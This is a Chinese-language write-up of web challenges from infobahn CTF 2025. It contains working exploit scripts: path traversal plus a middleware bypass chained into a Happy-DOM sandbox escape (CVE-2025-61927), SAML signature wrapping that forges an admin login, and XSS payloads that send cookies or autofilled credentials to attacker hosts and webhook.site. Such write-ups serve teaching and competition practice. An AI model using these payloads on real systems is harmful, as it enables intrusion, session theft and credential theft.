infobahn CTF 2025 Writeup
笔者的第一场 CTF 国际赛,我们 H^3 也是好起来了
web
PatchNotes CMS | 已解出 | 非预期
任意读没做好权限管理,可以直接读flag.txt
PatchNotes CMS - Revenge | 已解出 | 1st
hint:
- Look which files you can read,
- Middleware bypass?? It's a feature, not a bug (0day)
/api/notes/read有任意读,可以路径穿越读任意的 json 和 txt 文件/api/notes/save有任意写,可以路径穿越写任意的 json 和 txt 文件- 思路是利用
/admin/api/preview路由预览写进去的 txt ,打Happy-DOM沙箱逃逸。但是有个 middleware 拦住了所有对/admin及其子路由的请求 - 根据提示 dump 了所有可以获取的 json,看看有什么可以利用的 token 之类的东西。最后发现了preview mode
- 读取
/api/notes/read?file=../../app/.next/prerender-manifest.json - 可以搞到
previewModeId - 然后就可以用 preview mode 愉快的绕过 middleware
- POST
/admin/api/previewx-prerender-revalidate: <previewModeId> - 接着打Happy-DOM CVE-2025-61927
Exp:
import requests
r = requests.get("https://localhost:8080/api/notes/read?file=../../app/.next/prerender-manifest.json")
preview_id = r.json()['json']['preview']['previewModeId']
payload = '''<script>
const proc = this.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
const flag = cp.execSync('/readflag').toString();
document.body.innerHTML = flag;
</script>'''
requests.post("https://localhost:8080/api/notes/save",
json={"file": "exploit.txt", "content": payload})
r = requests.post(
"https://localhost:8080/admin/api/preview",
headers={"x-prerender-revalidate": preview_id},
json={"file": "exploit.txt"}
)
print(r.json()['rendered'])
SAML | 已解出
xml-crypto库在签名验证的时候检查的是<SignedInfo>内的Reference标签和摘要。flaggetter又只检查Signature位于根元素下flaggetter的实现问题在只会检查第一个如下的结构
<Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username">
<AttributeValue>Username</AttributeValue>
</Attribute>
- 也就是说,如果我们保留合法签名
<Signature>,同时在这个Signature内添加一个未被该签名覆盖的ds:Object,其中嵌入上面的结构,那么解析不会有任何问题,匹配到的Username也会变成我们的恶意值。
Exp:
raw="YOUR_B64_DATA_HERE"
import base64, zlib, urllib.parse, pathlib
raw = urllib.parse.unquote_plus(raw)
raw += "=" * (-len(raw) % 4)
data = base64.b64decode(raw.replace("-", "+").replace("_", "/"))
xml = zlib.decompress(data, -15).decode()
evil = '<ds:Object xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username"><AttributeValue>akadmin</AttributeValue></Attribute></ds:Object>'
xml = xml.replace('</ds:Signature>', evil + '</ds:Signature>', 1)
compressed = zlib.compress(xml.encode(), 9)[2:-4]
b64 = base64.b64encode(compressed).decode()
payload = urllib.parse.quote_plus(b64)
1337 translator | 已复现
- 问题在
let text = req.query.txt ?? 'Say something!';
const window = new JSDOM('').window;
const dp = DOMPurify(window);
// Don't be naughty
text = dp.sanitize(text);
text = text.toUpperCase();
text = text.replace( /\BA/g, '4' );
text = text.replace( /\BB/g, 'I3' );
text = text.replace( /\BE/g, '3' );
text = text.replace( /\BH/g, '\\-\\' );
text = text.replace( /\BL/g, '7' );
text = text.replace( /\BO/g, '0' );
text = text.replace( /\BS/g, '5' );
text = text.replace( /\BU/g, 'v' );
text = text.replace( /\BW/g, 'vv' );
- 非常经典的先净化再处理导致的问题,这里可以利用 Unicode 字符在
toUpperCase()之后会被转为 ASCII 大写字母的特性 - 以下的代码高亮很好解释了处理前后 HTML 的解析差异
Payload:
x<style><ß/p="</style><p name="><script src='http://IP:PORT'></script>">
X<STY73><S5/P="</STY73><P N4M3="><SCRIPT SRC='HTTP://IP:P0RT'></SCRIPT>"></P>
Sandbox Viewer | 已复现
- 题目有一个奇怪的 fallback 行为:
const s = document.createElement('script');
s.src = 'https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js';
s.referrerPolicy = 'no-referrer';
setTimeout(() => {
s.onload = () => {
if (window.DOMPurify) {
const clean = window.DOMPurify.sanitize(key);
appendUnsafe(clean);
}
};
s.onerror = () => {
appendUnsafe(key);
};
document.head.appendChild(s);
}, 1000);
- 我们需要思考如何让加载 DOMPurify 的过程出现错误以进入 onerror 分支
- 题目还提前加载一个沙箱 iframe,这给了我们浏览器缓存污染的可能
- 在 iframe 里虽然禁止了 js,但是允许加载图片
- 可以通过
referrerpolicy属性控制发送的 Referer 内容,设置成unsafe-url就会发送完整 URL(包括路径和查询参数),这会被 Cloudflare CDN 拦截 - 于是浏览器缓存到一个 403,我们的 payload 进入 fallback 分支
Payload:
<img src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js" referrerpolicy="unsafe-url" onerror="location='http://YOUR_IP/'+document.cookie">
infopass | 已复现
- 这题的 bot 会先去自己的后端保存一个带 flag 的账号,凭证存在浏览器扩展的本地储存里,按照
origin分类保存。之后再访问我们指定的 URL。 - 这题的利用点主要有两个,第一个是 python 后端直接拼接的 html
@app.route("/dashboard")
def dashboard():
user = session.get("user")
if not user:
return redirect("/")
return f"""
<h2>Dashboard</h2>
<p>Welcome, {user}!</p>
<a href="/logout">Logout</a>
"""
- 第二个是
background.js的getCredential()
async function getCredential(sender) {
const url = new URL(sender.url);
const path = url.origin + url.pathname;
if (cache.has(path)) {
return cache.get(path);
}
const key = await getKey();
const passwords = await getPasswords();
const item = passwords[sender.origin];
if (!item) return null;
const { iv, encrypted } = item;
const ivBuffer = base64ToArrayBuffer(iv);
const encryptedBuffer = base64ToArrayBuffer(encrypted);
const decoder = new TextDecoder();
const decrypted = await crypto.subtle.decrypt(
{ name: "AES-GCM", iv: new Uint8Array(ivBuffer) },
key,
encryptedBuffer
);
const data = JSON.parse(decoder.decode(decrypted));
cache.set(path, data);
return data;
}
- 这里有个很奇怪的点,凭据会保存在两个地方,一个是 cache,一个是本地储存,但是这二者的命中方式却不同。cache 命中使用
sender.url.orgin,而本地储存命中使用sender.orgin,这给了我们缓存投毒的空间。 - 很显然,在 bot 的后端和我们的页面里
sender.orgin是不一样的,但是这个sender.url.orgin就有说法了。 - 对于srcdoc iframe,它会继承父页面的 origin,但是他的 URL 是固定的,是
about:srcdoc,其sender.url.orgin是null!也就是说不管在哪里访问,这个 cache 的path都是nullsrcdoc! - 好,现在我们有一个思路了,bot 需要发送以下三个请求:
- 第一次让 bot 进行默认行为注册账号,此时的扩展中:
- cache 为空,
getCredential()从未调用 - 本地存储中存了
http://testapp:8080的凭据
- cache 为空,
- 第二次让 bot 访问
http://testapp:8080上的 srcdoc iframe,其中包含凭据填充栏,此时- cache中存进了一个键名为
nullsrcdoc的凭据值 - 本地储存不变
- cache中存进了一个键名为
- 第三次让 bot 访问我们控制的 URL 上的 srcdoc iframe,其中同样包含凭据填充栏,此时就可以命中 cache,返回我们想要的凭据
- 第一次让 bot 进行默认行为注册账号,此时的扩展中:
- 具体实现上,我们只需要在我们控制的 html 里执行一次注册,再跳转到下一个 html 让 bot 填充凭据就好了
Payload:
<!-- X.html -->
<script>
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://testapp:8080/';
form.target = '_blank';
const usernameField = document.createElement('input');
usernameField.name = 'username';
usernameField.value = `<iframe srcdoc='<input name="username"><input type="password">'>`;
form.appendChild(usernameField);
const passwordField = document.createElement('input');
passwordField.name = 'password';
passwordField.value = 'abc';
form.appendChild(passwordField);
document.body.appendChild(form);
form.submit();
setTimeout(() => {
window.open("Y.html")
}, 1000);
</script>
<!-- Y.html -->
<iframe srcdoc='
<input name="username">
<input id="x" type="password">
<script>
function t(){
fetch("https://webhook.site/...?a=" + document.getElementById("x").value)
}
setTimeout(t, 3000)
</script>
'>
</iframe>
Ref:
sender 是 Chrome 扩展 API chrome.runtime.onMessage 提供的一个对象,包含了发送消息的页面/扩展的信息:
sender.url - 发送消息的页面完整 URL
sender.origin - 发送消息的页面源(例如 https://example.com)
sender.tab - 如果是从标签页发送的,包含标签页信息
sender.id - 发送消息的扩展 ID
Padoru Pwn Parade | 已解出 | 非预期
phpggc Guzzle/FW1 任意写php
Padoru Pwn Parade-Revenge | 未解出
Drupal 11.3.0 RCE 0day